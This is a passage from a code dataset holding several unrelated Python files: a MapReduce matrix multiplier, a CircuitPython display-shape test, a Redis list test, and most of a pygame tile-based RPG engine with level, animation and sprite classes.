mapper(record):\n matrix = record[0]\n i = record[1]\n j = record[2]\n value = record[3]\n\n if matrix == 'a':\n for k in range(0,n):\n mr.emit_intermediate( (i,k), (j,value) )\n\n if matrix == 'b':\n for k in range(0,l):\n mr.emit_intermediate( (k,j), (i,value) )\n\ndef reducer(key, list_of_values):\n array_total = [0,0,0,0,0]\n array_a = [0,0,0,0,0]\n array_b = [0,0,0,0,0]\n for value in list_of_values:\n key_m = value[0]\n total = value[1]\n if array_a[key_m] == 0:\n array_a[key_m] = total\n elif array_b[key_m] == 0:\n array_b[key_m] = total;\n\n for i in range(0, len(array_a) ):\n array_total[i] = array_a[i] * array_b[i]\n\n mr.emit( (key[0], key[1], sum(array_total) ) )\n\nif __name__ == '__main__':\n inputdata = open(sys.argv[1])\n mr.execute(inputdata, mapper, reducer)\n","sub_path":"assignment3/multiply.py","file_name":"multiply.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"313928937","text":"\"\"\"\ntest_opaque.py\n\nA simple test to demonstrate the behavior of a RoundRect when initializing\nas a shape with a solid fill color using fill=WHITE.\n\nAlso uses my_roundrect.py which is a slightly modified version of\nAdafruit_CircuitPython_Display_Shapes that includes an explicit call\nto palette.make_opaque() in the fill color setter function.\n\n\"\"\"\n\nimport time\nfrom adafruit_pyportal import PyPortal\n# from adafruit_display_shapes.roundrect import RoundRect\nfrom my_roundrect import RoundRect\nfrom adafruit_display_text.label import Label\nfrom adafruit_bitmap_font import bitmap_font\n\n\n# Some colors\nWHITE = 0xffffff\nBLUE = 0x094A85\nLIGHT_BLUE = 0x13BDF9\nDARK_BLUE = 0x0D2035\nLIGHT_GREEN = 0x009A6E\nGREEN = 0x45E83A\nORANGE = 0xDF550F\nRED = 0xDB1308\nGREY = 0x3B3C3E\nBLACK = 0x000000\n\n# Load the font to be used on the buttons\nfont = bitmap_font.load_font(\"/fonts/Dina.bdf\")\n\n# Initialize PyPortal with black background\npyportal = PyPortal(default_bg=BLACK)\n\nroundrect = RoundRect(100, 60, 120, 120, 10, fill=WHITE, outline=WHITE, stroke=5)\nmsg = Label(font, text=\"Exp: White\", max_glyphs=15)\nmsg.x = 100\nmsg.y = 40\nmsg.text = \"Exp: White\"\n\npyportal.splash.append(roundrect)\npyportal.splash.append(msg)\n\ntime.sleep(2.0)\n\nmsg.text = \"Exp: Green\"\nroundrect.fill = GREEN\ntime.sleep(2.0)\n\nmsg.text = \"Exp: Blue\"\nroundrect.fill = LIGHT_BLUE\ntime.sleep(2.0)\n\nmsg.text = \"Exp: Orange\"\nroundrect.fill = ORANGE\ntime.sleep(2.0)\n\nmsg.text = \"Exp: Red\"\nroundrect.fill = RED\ntime.sleep(2.0)\n\n# Should make the shape transparent, but does not\nmsg.text = \"Exp: None\"\nroundrect.fill = None\ntime.sleep(2.0)\n\nwhile True:\n pass","sub_path":"test_opaque.py","file_name":"test_opaque.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"296007952","text":"import redis\nr = redis.StrictRedis(host='localhost', port=6379, db=0)\n\n# Open two terminals and run this together.\nfor i in range(100000):\n\tr.rpush('wait_list',i)\n\n\n\nr.llen('wait_list')\n# start from zero until 199999.\nr.lindex('wait_list',0)\nr.lindex('wait_list',199999)\n\n\n\n\n# Backup:\n\n# Open two terminals and run this together.\nfor i in range(100000):\n\tr.lpop('wait_list',i)\n\n# clean the database\nfor key in r.scan_iter():\n r.delete(key)","sub_path":"atomic_test/rpush&lpop.py","file_name":"rpush&lpop.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"167711883","text":"from dialog import *\nimport random\nfrom _thread import *\nimport json\nfrom math import ceil\nimport time\nfrom traceback import print_exc\nfrom sys import stdout\n\n\n# # WORLDS MODULE\n\nclass Tile:\n \"\"\"Class for animated tiles\"\"\"\n interval = 50\n img_index = 0\n colorkey = (200, 50, 200)\n\n def __init__(self, file):\n img = pygame.image.load(os.path.join(file))\n # Check whether image contains transparency and load accordingly.\n array = pygame.PixelArray(img)\n transparent = False\n x = -1\n for i in array:\n x += 1\n y = -1\n for j in i:\n y += 1\n if j is not None and img.unmap_rgb(j).a < 255:\n transparent = True\n break\n if transparent:\n break\n if transparent:\n img.convert_alpha()\n else:\n img.convert()\n\n self.alpha = bool(transparent)\n\n # Load individual sub-images from a larger image.\n small_height = img.get_height() // 16\n img = pygame.transform.scale(img, (64, small_height * 64))\n self.img_list = []\n for i in range(small_height):\n if transparent:\n temp_img = pygame.Surface((64, 64), pygame.SRCALPHA, 32)\n temp_img.convert_alpha()\n else:\n temp_img = pygame.Surface((64, 64))\n temp_img.blit(img, (0, 0), (0, 64 * i, 64, 64))\n self.img_list.append(temp_img)\n\n self.backup_list = tuple(i.copy() for i in self.img_list)\n self.max_imgs = len(self.img_list)\n self.main_img = img\n\n def draw(self, surface, dest=(0, 0)):\n \"\"\"Draw an image to a surface.\"\"\"\n if self.max_imgs > 1:\n surface.blit(self.img_list[int(Tile.img_index % self.max_imgs)], dest)\n else:\n surface.blit(self.img_list[0], dest)\n\n def draw_norm(self, surface, dest=(0, 0)):\n \"\"\"Draw an image's backup to a surface.\"\"\"\n if self.max_imgs > 1:\n surface.blit(self.backup_list[int(Tile.img_index % self.max_imgs)], dest)\n else:\n surface.blit(self.backup_list[0], dest)\n\n def reset(self):\n \"\"\"Reset all changes to a tile, restoring it to the backup\"\"\"\n self.img_list = list(i.copy() for i in self.backup_list)\n\n @classmethod\n def advance_frame(cls, time_step=1):\n cls.img_index += time_step / cls.interval\n if cls.img_index > 64:\n cls.img_index = 0\n\n\n# Construction functions for level initialization\ndef build_id_dict(tiles):\n \"\"\"Build a dictionary of images paired with their id from the given dictionary\"\"\"\n id_list = {}\n for i in list(tiles.items()):\n img = Tile(i[1])\n id_list[i[0]] = img\n return id_list\n\n\ndef build_matrix(width, height):\n \"\"\"Build a matrix of given width and height\"\"\"\n matrix = []\n row = [0] * width\n for i in range(height):\n matrix.append(list(row))\n return matrix\n\n\ndef load_from_string(string):\n data = json.loads(string)\n loading_zones = {}\n for j in data[\"loading_zones\"]:\n loading_zones[tuple(j[\"zone\"])] = [j[\"target_level\"], tuple(j[\"target_pos\"])]\n\n return Level(data[\"colliders\"],\n data[\"tilemap\"],\n data[\"decomap\"],\n loading_zones,\n data[\"lightmap\"],\n data[\"spawn\"],\n data[\"name\"])\n\n\nclass Level:\n \"\"\"Class for levels\"\"\"\n tile_ids = build_id_dict({1: 'tiles/block.png', 2: 'tiles/stone_table_top.png', 3: 'tiles/stone_table_left.png',\n 4: 'tiles/stone_table_right.png', 5: 'tiles/stone_table_bottom.png',\n 6: 'tiles/stone_wall.png', 7: 'tiles/void.png', 8: 'tiles/wood.png', 9: 'tiles/grass.png',\n 10: 'tiles/corner.png', 11: 'tiles/wall.png', 12: 'tiles/top_left_water.png',\n 13: 'tiles/top_water.png', 14: 'tiles/top_right_water.png', 15: 'tiles/left_water.png',\n 16: 'tiles/water.png', 17: 'tiles/right_water.png', 18: 'tiles/bottom_left_water.png',\n 19: 'tiles/bottom_water.png', 20: 'tiles/bottom_right_water.png', 21: 'tiles/grass3.png',\n 22: 'tiles/grass2.png', 23: 'tiles/pink_wall.png', 24: 'tiles/top_left_path.png',\n 25: 'tiles/top_path.png', 26: 'tiles/top_right_path.png', 27: 'tiles/left_path.png',\n 28: 'tiles/path.png', 29: 'tiles/right_path.png', 30: 'tiles/bottom_left_path.png',\n 31: 'tiles/bottom_path.png', 32: 'tiles/bottom_right_path.png',\n 33: 'tiles/path_corner1.png', 34: 'tiles/path_corner2.png', 35: 'tiles/path_corner3.png',\n 36: 'tiles/path_corner4.png', 37: 'tiles/water_corner1.png',\n 38: 'tiles/water_corner2.png', 39: 'tiles/water_corner3.png',\n 40: 'tiles/water_corner4.png', 41: 'tiles/cliff_top_left.png', 42: 'tiles/cliff_top.png',\n 43: 'tiles/cliff_top_right.png', 44: 'tiles/cliff_face_left.png',\n 45: 'tiles/cliff_center.png', 46: 'tiles/cliff_face_right.png',\n 47: 'tiles/cliff_bottom_left.png', 48: 'tiles/cliff_bottom.png',\n 49: 'tiles/cliff_bottom_right.png', 50: 'tiles/cliff_left.png',\n 51: 'tiles/cliff_back.png', 52: 'tiles/cliff_right.png',\n 53: 'tiles/cliff_left_corner.png', 54: 'tiles/cliff_right_corner.png',\n 55: 'tiles/cliff_stairs_top.png', 56: 'tiles/cliff_stairs.png',\n 57: 'tiles/cliff_stairs_bottom.png', 58: 'tiles/lamp_post_bottom.png',\n 59: 'tiles/table.png', 60: 'tiles/table_left.png', 61: 'tiles/table_center.png',\n 62: 'tiles/table_right.png', 63: 'tiles/table_bottom_left.png',\n 64: 'tiles/table_bottom.png', 65: 'tiles/table_bottom_right.png',\n 66: 'tiles/door_bottom.png', 67: 'tiles/door_top.png', 68: 'tiles/bricks_left.png',\n 69: 'tiles/bricks.png', 70: 'tiles/bricks_right.png', 71: 'tiles/bricks_bottom_left.png',\n 72: 'tiles/bricks_bottom.png', 73: 'tiles/bricks_bottom_right.png',\n 74: 'tiles/window.png', 75: 'tiles/pink_wall_base.png',\n 76: 'tiles/white_green_wall_base_rimmed.png',\n 77: 'tiles/white_green_wall_painting_base.png', 78: 'tiles/drawer.png',\n 79: 'tiles/white_green_wall_base_drawer.png', 80: 'tiles/drawer_legs.png',\n 81: 'tiles/white_green_wall_base_left.png', 82: 'tiles/white_green_wall_base.png',\n 83: 'tiles/white_green_wall_base_right.png', 84: 'tiles/tree_trunk.png',\n 85: 'tiles/water2.png', 86: 'tiles/water_ripple.png', 87: 'tiles/wood_shade.png'})\n deco_ids = build_id_dict({1: 'tiles/lamp_post_top.png', 2: 'tiles/table_top_left.png', 3: 'tiles/table_top.png',\n 4: 'tiles/table_top_right.png', 5: 'tiles/roof_right_bottom.png',\n 6: 'tiles/roof_right_middle1.png', 7: 'tiles/roof_right_middle2.png',\n 8: 'tiles/roof_right_top.png', 9: 'tiles/roof_left_bottom.png',\n 10: 'tiles/roof_left_middle1.png', 11: 'tiles/roof_left_middle2.png',\n 12: 'tiles/roof_left_top.png', 13: 'tiles/roof_top1.png', 14: 'tiles/roof_top2.png',\n 15: 'tiles/top_roof_shadow.png', 16: 'tiles/pink_wall_top.png',\n 17: 'tiles/white_green_wall_top_rimmed.png',\n 18: 'tiles/white_green_wall_painting_top.png', 19: 'tiles/white_green_wall_clock.png',\n 20: 'tiles/lamp.png', 21: 'tiles/white_green_wall_top_left.png',\n 22: 'tiles/white_green_wall_top.png', 23: 'tiles/white_green_wall_top_right.png',\n 24: 'tiles/roof_right_edge.png', 25: 'tiles/roof_left_edge.png',\n 26: 'tiles/tree_top_left.png', 27: 'tiles/tree_top.png', 28: 'tiles/tree_top_right.png',\n 29: 'tiles/tree_mid_left.png', 30: 'tiles/tree_mid.png', 31: 'tiles/tree_mid_right.png'})\n reference_dict = {}\n\n def __init__(self, colliders, tilemap, decomap, loading_zones, lightmap, default_start=(0, 0), name=\"Unnamed\"):\n # self.t_ids = build_id_dict(tile_dict)\n # self.d_ids = build_id_dict(deco_dict)\n self.colliders = colliders\n self.tilemap = tilemap\n self.lightmap = lightmap\n self.width = 64 * len(tilemap[1])\n self.height = 64 * len(tilemap)\n if decomap is None:\n self.decomap = build_matrix(len(tilemap[0]), len(tilemap))\n else:\n self.decomap = decomap\n self.loading_zones = loading_zones\n self.default_start = default_start\n if name in Level.reference_dict:\n print(\"WARNING: Multiple levels have the same name '{}'. Overwriting!\".format(name))\n self.name = name\n Level.reference_dict[name] = self\n\n def __repr__(self):\n return \"\".format(self.name)\n\n def jsonify(self):\n loading_zones = []\n for i, j in self.loading_zones.items():\n loading_zones.append({\"zone\": list(i), \"target_level\": j[0], \"target_pos\": j[1]})\n export_dict = {\"colliders\": self.colliders,\n \"tilemap\": self.tilemap,\n \"decomap\": self.decomap,\n \"loading_zones\": loading_zones,\n \"lightmap\": self.lightmap,\n \"spawn\": self.default_start,\n \"name\": self.name\n }\n return json.dumps(export_dict)\n\n @classmethod\n def levels_init(cls):\n found_files = [os.path.join('levels', f) for f in os.listdir('levels/') if\n os.path.isfile(os.path.join('levels', f)) and os.path.splitext(f)[1] == '.json']\n for i in found_files:\n with open(i) as rf:\n data = json.load(rf)\n loading_zones = {}\n for j in data[\"loading_zones\"]:\n loading_zones[tuple(j[\"zone\"])] = [j[\"target_level\"], tuple(j[\"target_pos\"])]\n\n Level(data[\"colliders\"],\n data[\"tilemap\"],\n data[\"decomap\"],\n loading_zones,\n data[\"lightmap\"],\n data[\"spawn\"],\n data[\"name\"])\n\n @classmethod\n def darken_imgs(cls, amount=100):\n \"\"\"Darken all tiles and decos\"\"\"\n shade = pygame.Surface((64, 64)).convert_alpha()\n shade.fill((amount, amount, amount, 100))\n for i, j in Level.tile_ids.items():\n for k in j.img_list:\n k.blit(shade, (0, 0), special_flags=pygame.BLEND_SUB)\n\n for i, j in Level.deco_ids.items():\n for k in j.img_list:\n k.blit(shade, (0, 0), special_flags=pygame.BLEND_SUB)\n\n @classmethod\n def reset_imgs(cls):\n \"\"\"Reset changes to all tiles and decos\"\"\"\n for i, j in cls.tile_ids.items():\n j.reset()\n for i, j in cls.deco_ids.items():\n j.reset()\n\n\ndef sprite_setup(start_level):\n \"\"\"Build all sprites, returning the player sprite\"\"\"\n blue_sign = Static('assets/sign/blue_sign.png')\n SignSprite(pygame.Rect(16 * 64, 8 * 64, 64, 32), {'blue_sign': blue_sign}, SignSprite.stand, \"demo\", \"local\",\n action='speak', action_args='dialogs/demo_welcome.txt')\n\n pig_animations = {\"front\": Animation(\n ('assets/npc/pig/pig_front.png', 'assets/npc/pig/pig_front_walk1.png', 'assets/npc/pig/pig_front_walk2.png'),\n (0, 1, 0, 2)),\n \"back\": Animation(('assets/npc/pig/pig_back.png', 'assets/npc/pig/pig_back_walk1.png',\n 'assets/npc/pig/pig_back_walk2.png'), (0, 1, 0, 2)),\n \"left\": Animation(('assets/npc/pig/pig_left.png', 'assets/npc/pig/pig_left_walk1.png',\n 'assets/npc/pig/pig_left_walk2.png'), (0, 1, 0, 2)),\n \"right\": Animation(('assets/npc/pig/pig_right.png', 'assets/npc/pig/pig_right_walk1.png',\n 'assets/npc/pig/pig_right_walk2.png'), (0, 1, 0, 2))\n }\n\n NPCSprite(pygame.Rect(20 * 64, 6 * 64, 64, 32), pig_animations, NPCSprite.wander, \"demo\", \"global\", action='speak',\n action_args='dialogs/oink.txt')\n # NPCSprite(pygame.Rect(20 * 64, 8 * 64, 64, 32), pig_images, NPCSprite.always_right, demo, \"global\", action='speak', action_args='dialogs/oink.txt')\n\n male_duck_animations = {\"front\": Animation(('assets/npc/male_duck/male_duck_front.png',), (0,)),\n \"back\": Animation(('assets/npc/male_duck/male_duck_back.png',), (0,)),\n \"left\": Animation(('assets/npc/male_duck/male_duck_left.png',), (0,)),\n \"right\": Animation(('assets/npc/male_duck/male_duck_right.png',), (0,))\n }\n\n female_duck_animations = {\"front\": Animation(('assets/npc/female_duck/female_duck_front.png',), (0,)),\n \"back\": Animation(('assets/npc/female_duck/female_duck_back.png',), (0,)),\n \"left\": Animation(('assets/npc/female_duck/female_duck_left.png',), (0,)),\n \"right\": Animation(('assets/npc/female_duck/female_duck_right.png',), (0,))\n }\n\n duckling_animations = {\"front\": Animation(('assets/npc/duckling/duckling_front.png',), (0,)),\n \"back\": Animation(('assets/npc/duckling/duckling_back.png',), (0,)),\n \"left\": Animation(('assets/npc/duckling/duckling_left.png',), (0,)),\n \"right\": Animation(('assets/npc/duckling/duckling_right.png',), (0,))\n }\n\n NPCSprite(pygame.Rect(20 * 64, 14 * 64, 64, 32), male_duck_animations, NPCSprite.wander, \"demo\", \"global\")\n\n # Player setup\n player_start = Level.reference_dict[start_level].default_start\n # Player bounding box\n player = pygame.Rect(player_start[0] * 64, player_start[1] * 64, 48, int(112 / 2))\n # Player sprite\n player_animations = {\"front\": Animation(('assets/player/player_front.png', 'assets/player/player_front_walk1.png',\n 'assets/player/player_front_walk2.png'), (0, 1, 0, 2)),\n \"back\": Animation(('assets/player/player_back.png', 'assets/player/player_back_walk1.png',\n 'assets/player/player_back_walk2.png'), (0, 1, 0, 2)),\n \"left\": Animation(('assets/player/player_left.png', 'assets/player/player_left_walk1.png',\n 'assets/player/player_left_walk2.png'), (0, 1, 0, 2)),\n \"right\": Animation(('assets/player/player_right.png', 'assets/player/player_right_walk1.png',\n 'assets/player/player_right_walk2.png'), (0, 1, 0, 2))\n }\n\n # Default player sprite data\n player_sprite = PlayerSprite(player, player_animations, PlayerSprite.normal, start_level, health=100)\n\n return player_sprite\n\n\n# # SPRITE MODULE\n\n\n# Functions for actions\ndef blank(args):\n \"\"\"Default interaction that does absolutely nothing\"\"\"\n\n\ndef speak(args):\n \"\"\"Basic interaction that causes text to appear\"\"\"\n text_box = TextDialog(\"assets/dialog_box.png\")\n text_box.display_dialog(args)\n\n\naction_lookup = {'blank': blank, 'speak': speak}\n\n\n# Class for variables that keep track of whether they've been changed\nclass Tracker:\n\n def __init__(self, value):\n self.value = value\n self.changed = False\n\n def set(self, new_value):\n if self.value != new_value:\n self.changed = True\n self.value = new_value\n\n def querry(self):\n if self.changed:\n self.changed = False\n return True\n\n\nclass Animation:\n \"\"\"Class for animations\"\"\"\n\n def __init__(self, images, sequence):\n self.tick = 0\n self.prev_tick = 0\n self.image_tuple = images\n self.image_sequence = sequence\n self.frame_list = tuple(pygame.image.load(os.path.join(images[i])).convert_alpha() for i in sequence)\n self.backup_list = tuple(i.copy() for i in self.frame_list)\n self.rect_list = tuple(i.get_rect() for i in self.frame_list)\n self.frame_count = len(self.frame_list) - 1\n self.frame = self.frame_list[0]\n self.rect = self.rect_list[0]\n self.interval = 25\n self.running = False\n\n def update(self, time_step):\n \"\"\"Update the animation frame\"\"\"\n self.running = True\n self.tick += time_step / self.interval\n if int(self.tick) != int(self.prev_tick):\n if int(self.tick) > self.frame_count:\n self.tick = 0\n self.frame = self.frame_list[int(self.tick)]\n self.rect = self.rect_list[int(self.tick)]\n self.prev_tick = float(self.tick)\n\n def draw(self, window, dest):\n \"\"\"Draw current frame to window\"\"\"\n window.blit(self.frame, dest)\n\n def draw_norm(self, window, dest):\n \"\"\"Draw current backup frame to window\"\"\"\n window.blit(self.backup_list[int(self.tick)], dest)\n\n def draw_clipped(self, window, dispx, dispy, disp_reg, litmap_rects):\n \"\"\"Draw current backup frame with only area outside a light\n source darkened\"\"\"\n # First get a list of rectangles that intersect the source\n # Then copy this part of the current backup frame onto the current frame\n img_rect = self.rect.move(1, 1)\n img = self.frame.copy()\n window.blit(img, disp_reg)\n for i in img_rect.collidelistall(litmap_rects):\n dark_rect = img_rect.clip(litmap_rects[i])\n if dark_rect.size != (0, 0):\n dark_rect.move_ip(-1, -1)\n #window.fill((255, 0, 0), dark_rect.move(disp))\n window.blit(self.backup_list[int(self.tick)], dest=dark_rect.move(dispx, dispy), area=dark_rect.move(self.rect.topleft[0] * -1, self.rect.topleft[1] * -1))\n\n def reset(self):\n \"\"\"Reset the animation frame to base\"\"\"\n self.running = False\n if self.tick != 0:\n self.tick = 0\n self.prev_tick = 0\n self.frame = self.frame_list[0]\n self.rect = self.rect_list[0]\n\n def darken(self, amount):\n \"\"\"Darken the image by an amount\"\"\"\n for i in self.frame_list:\n shade = pygame.Surface((i.get_width(), i.get_height()))\n shade.fill((amount, amount, amount))\n i.blit(shade, (0, 0), special_flags=pygame.BLEND_SUB)\n self.frame = self.frame_list[int(self.tick)]\n \n def undo(self):\n \"\"\"Reset all changes to the animation images\"\"\"\n self.frame_list = tuple(i.copy() for i in self.backup_list)\n self.frame = self.frame_list[int(self.tick)]\n\n\n# Subclass for static animations\nclass Static(Animation):\n\n def __init__(self, image):\n self.image = image\n self.frame = pygame.image.load(os.path.join(image)).convert_alpha()\n self.backup = self.frame.copy()\n self.rect = self.frame.get_rect()\n\n def update(self, timestep):\n \"\"\"Handles any calls for frame updates. Helps with\n standardization, but otherwise does nothing\"\"\"\n pass\n\n def draw(self, window, dest):\n \"\"\"Standard drawing function\"\"\"\n window.blit(self.frame, dest)\n\n def draw_norm(self, window, dest):\n \"\"\"Draw backup image\"\"\"\n window.blit(self.backup, dest)\n\n def draw_clipped(self, window, dispx, dispy, disp_reg, litmap_rects):\n \"\"\"Draw current backup frame with only area outside a light\n source darkened\"\"\"\n img_rect = self.rect.move(1, 1)\n img = self.frame.copy()\n window.blit(img, (disp_reg))\n for i in img_rect.collidelistall(litmap_rects):\n dark_rect = img_rect.clip(litmap_rects[i])\n if dark_rect.size != (0, 0):\n dark_rect.move_ip(-1, -1)\n #window.fill((255, 0, 0), dark_rect.move(disp))\n window.blit(self.backup_list, dest=dark_rect.move(dispx, dispy), area=dark_rect.move(self.rect.topleft[0] * -1, self.rect.topleft[1] * -1))\n\n def darken(self, amount):\n \"\"\"Darken the image by an amount\"\"\"\n shade = pygame.Surface((self.frame.get_width(), self.frame.get_height()))\n shade.fill((amount, amount, amount))\n self.frame.blit(shade, (0, 0), special_flags=pygame.BLEND_SUB)\n\n def undo(self):\n \"\"\"Reset all changes to the animation image\"\"\"\n self.frame = self.backup.copy()\n\n\nclass Sprite:\n \"\"\"Main class for sprites\"\"\"\n\n sprite_dict = {}\n global_sprites = []\n local_sprites = []\n\n loaded_locals = []\n focus = None\n id_counter = 0\n \n behavior_args = {}\n\n def __init__(self, rect, animation_dict, behavior, level, scope, action='blank', action_args=None, health=None, max_health=None):\n self.health = health\n self.rect = rect\n self.x = int(rect.x)\n self.y = int(rect.y)\n self.collision_time = 0\n self.animation_dict = animation_dict\n self.animation = list(animation_dict.items())[0][1]\n self.freeze = False\n self.behavior = behavior\n self.level = Level.reference_dict[level]\n self.scope = scope\n self.action = action_lookup[action]\n self.action_args = action_args\n self.speed_mult = 1\n self.entity_id = Sprite.id_counter\n Sprite.id_counter += 1\n if scope == \"global\":\n Sprite.global_sprites.append(self)\n elif scope == \"local\":\n Sprite.local_sprites.append(self)\n else:\n print(\"An error occurred while loading a sprite:\\n'{}' is an invalid scope\".format(scope))\n\n Sprite.sprite_dict[self.entity_id] = self\n\n def __repr__(self):\n \"\"\"Override in subclass\"\"\"\n pass\n\n def __str__(self):\n return self.__repr__()\n\n def jsonify(self):\n \"\"\"Converts a sprite into a json representation of itself, override in subclass\"\"\"\n pass\n\n def check_collision(self, dx, dy, tilemap, collider_ids):\n \"\"\"Function to check if a sprite rectangle has collided with something\"\"\"\n try:\n dx, dy = round(1.5 * dx), round(1.5 * dy)\n new_rect = self.rect.move(dx, dy)\n x1 = int(new_rect.x / 64)\n y1 = int(new_rect.y / 64)\n x2 = int((new_rect.x + new_rect.width) / 64)\n y2 = int((new_rect.y + new_rect.height) / 64)\n if (new_rect.x < 0) or (new_rect.y < 0) or (x2 < 0) or (y2 < 0):\n return False\n if tilemap[y1][x1] in collider_ids:\n return False\n if tilemap[y2][x1] in collider_ids:\n return False\n if tilemap[y1][x2] in collider_ids:\n return False\n if tilemap[y2][x2] in collider_ids:\n return False\n if self.collision_time < 180 and Sprite.check_sprites_collide(self, dx, dy) is not None:\n self.collision_time += Sprite.behavior_args[\"time_step\"]\n return False\n if self.collision_time > 0:\n self.collision_time -= Sprite.behavior_args[\"time_step\"] / 2\n return True\n except IndexError:\n return False\n\n def behave(self):\n \"\"\"Function to execute the behavior of sprites. Override in subclass\"\"\"\n pass\n\n def check_load_zone(self):\n \"\"\"Check if the sprite is in a loading zone, and if so, send the sprite to the relevant level.\n Return False if nothing happens, return True if successful.\"\"\"\n x, y = self.rect.center\n x = int(x / 64)\n y = int(y / 64)\n if (x, y) in self.level.loading_zones:\n zone = self.level.loading_zones[(x, y)]\n self.level = Level.reference_dict[zone[0]]\n self.x = zone[1][0] * 64\n self.y = zone[1][1] * 64\n self.rect.x = zone[1][0] * 64\n self.rect.y = zone[1][1] * 64\n return True\n else:\n return False\n\n def check_lit_tile(self, litmap):\n \"\"\"Check if the sprite is partially or fully on tiles that are illuminated.\n -Return 0 if sprite is NOT touching a lit tile.\n -Return 1-3 if the sprite is PARTIALLY touching a lit tile.\n -Return 4 if the sprite is ONLY touching lit tiles.\n -Return 0 if an IndexError occurs (entity is out of bounds).\n \"\"\"\n try:\n r = self.animation.rect\n c = 0\n for x in (r.left, r.right):\n for y in (r.bottom, r.top):\n if litmap[y // 64][x // 64]: c += 1\n return c\n except IndexError:\n return 0\n\n @classmethod\n def freeze(cls, state):\n \"\"\"Set the freeze state of all sprites\"\"\"\n for s in cls.global_sprites + cls.loaded_locals:\n s.freeze = state\n\n @classmethod\n def check_sprites_collide(cls, entity, dx, dy):\n \"\"\"Function to check if a sprite has collided with another sprite, and if so, return that sprite\"\"\"\n entity_rect = entity.rect.copy()\n sprite_list = cls.local_sprites + [i for i in cls.global_sprites if i.level == entity.level]\n other_rects = list(s.rect for s in sprite_list if s.rect != entity_rect)\n index = entity_rect.move(dx, dy).collidelist(other_rects)\n if index == -1:\n return None\n return other_rects[index]\n\n @classmethod\n def behave_all(cls):\n \"\"\"Function to execute the behavior of all sprites\"\"\"\n for s in cls.global_sprites + cls.loaded_locals:\n s.behave()\n for s in cls.global_sprites:\n if s.check_load_zone() and type(s) == PlayerSprite:\n Sprite.behavior_args[\"screen_wipe\"] = True\n\n @classmethod\n def blit_all(cls, dispx, dispy, window):\n \"\"\"Blit all sprites that are currently located in the same level as the focus sprite.\n Does not handle light levels\"\"\"\n\n loaded_sprites = [i for i in cls.loaded_locals if i.level.name == cls.focus.level.name] + [i for i in cls.global_sprites if i.level.name == cls.focus.level.name]\n \n loaded_sprites.sort(key=lambda kv: kv.rect.center[1])\n for s in loaded_sprites:\n s.animation.draw(window, (s.x + dispx, s.y + dispy - s.rect.height))\n #window.fill((127, 0, 0), s.rect.move((dispx, dispy)))\n\n @classmethod\n def blit_all_night(cls, dispx, dispy, window, litmap, lit_rects):\n \"\"\"Blit all sprites that are currently located in the same level as the focus sprite.\n Designed for handling light levels\"\"\"\n loaded_sprites = cls.loaded_locals + [i for i in cls.global_sprites if i.level.name == cls.focus.level.name]\n \n loaded_sprites.sort(key=lambda kv: kv.rect.center[1])\n for s in loaded_sprites:\n s.animation.rect.bottomleft = s.rect.bottomleft # (s.x, s.y + s.rect.height)\n disp_reg = (s.x + dispx, s.y + dispy - s.rect.height)\n lit_tiles = s.check_lit_tile(litmap)\n # Player is not touching any lit tiles, draw normally.\n if not lit_tiles:\n s.animation.draw(window, disp_reg)\n # Player is only touching lit tiles, draw illuminated backup.\n elif lit_tiles == 4:\n s.animation.draw_norm(window, disp_reg)\n # Player is partially touching lit tiles, draw clipped.\n else:\n s.animation.draw_clipped(window, dispx, dispy, disp_reg, lit_rects)\n if s.entity_id == 4:\n print(\"Test\")\n \n @classmethod\n def darken_all(cls, amount=100):\n for i in cls.local_sprites + cls.global_sprites:\n try:\n for j, k in i.animation_dict.items():\n k.darken(amount)\n except AttributeError:\n i.animation.darken(amount)\n\n @classmethod\n def reset_imgs(cls):\n for i in cls.local_sprites + cls.global_sprites:\n try:\n for j, k in i.animation_dict.items():\n k.undo()\n except AttributeError:\n i.animation.undo()\n\n @classmethod\n def reload_loaded_locals(cls):\n \"\"\"Recalculate the list of loaded local sprites\"\"\"\n loaded_levels = [i.level for i in cls.global_sprites + cls.local_sprites\n if type(i) == PlayerSprite or type(i) == GuestSprite]\n cls.loaded_locals = [i for i in cls.local_sprites if i.level in loaded_levels]\n\n\nclass SignSprite(Sprite):\n \"\"\"Subclass for sign sprites\"\"\"\n\n def __init__(self, rect, animation_dict, behavior, level, scope, action='blank', action_args=None):\n Sprite.__init__(self, rect, animation_dict, behavior, level, \"local\", action, action_args, None, None)\n\n def __repr__(self):\n result = \"\"\"\"\"\".format(\n self.entity_id, self.rect, self.behavior, self.action, self.action_args, self.level)\n return result\n\n def jsonify(self):\n \"\"\"Converts the sprite into a JSON representation of itself\"\"\"\n result = {\"id\": self.entity_id, \"type\": \"SignSprite\", \"entity_data\": {\n \"rect\": [self.rect.x, self.rect.y, self.rect.w, self.rect.h],\n \"animation\": dict((i, j.image)\n for i, j in self.animation_dict.items()),\n \"behavior\": dict((j, i) for i, j in behavior_lookup.items())[self.behavior],\n \"level\": self.level.name,\n \"scope\": \"local\",\n \"action\": dict((j, i) for i, j in action_lookup.items())[self.action],\n \"action_args\": self.action_args\n }\n }\n return json.dumps(result)\n\n def jsonify2(self):\n \"\"\"Converts all necessary information about a sprite into json format\"\"\"\n data = {\"id\": self.entity_id,\n \"x\": self.x,\n \"y\": self.y,\n \"facing\": None,\n \"direction\": None,\n \"animated\": False,\n \"speed\": 0,\n \"level\": self.level.name\n }\n return json.dumps(data)\n\n def behave(self):\n \"\"\"Execute the behavior of the sign sprite\"\"\"\n self.behavior(self)\n\n def stand(self):\n \"\"\"Normal standing behavior\"\"\"\n pass\n\n\nclass NPCSprite(Sprite):\n \"\"\"Subclass for NPC sprites\"\"\"\n\n def __init__(self, rect, animation_dict, behavior, level, scope, action='blank', action_args=None, health=None, max_health=None):\n Sprite.__init__(self, rect, animation_dict, behavior, level, scope, action, action_args, health, max_health)\n self.interval = 25\n self.cycle = 0 \n self.facing = Tracker(\"front\")\n self.direction = Tracker(None)\n self.dx = 0\n self.dy = 0\n\n def __repr__(self):\n result = \"\"\"\"\"\".format(self.entity_id, self.rect, self.behavior, self.action, self.action_args, self.health,\n self.level)\n return result\n\n def jsonify(self):\n \"\"\"Converts the sprite into a JSON representation of itself\"\"\"\n result = {\"id\": self.entity_id, \"type\": 